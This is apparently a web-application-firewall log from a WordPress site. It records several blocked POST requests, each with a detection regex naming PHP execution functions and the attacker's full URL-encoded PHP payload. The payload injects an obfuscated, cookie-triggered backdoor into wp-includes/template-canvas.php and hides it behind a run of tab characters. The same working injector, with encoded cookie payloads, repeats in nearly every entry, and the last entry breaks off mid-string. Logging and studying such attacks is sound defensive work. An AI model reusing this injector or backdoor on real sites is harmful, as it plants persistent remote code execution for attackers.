lI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3241\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nlI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:25","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3241\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nyV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:28","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3241\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nGl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:35","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3241\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nwy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%2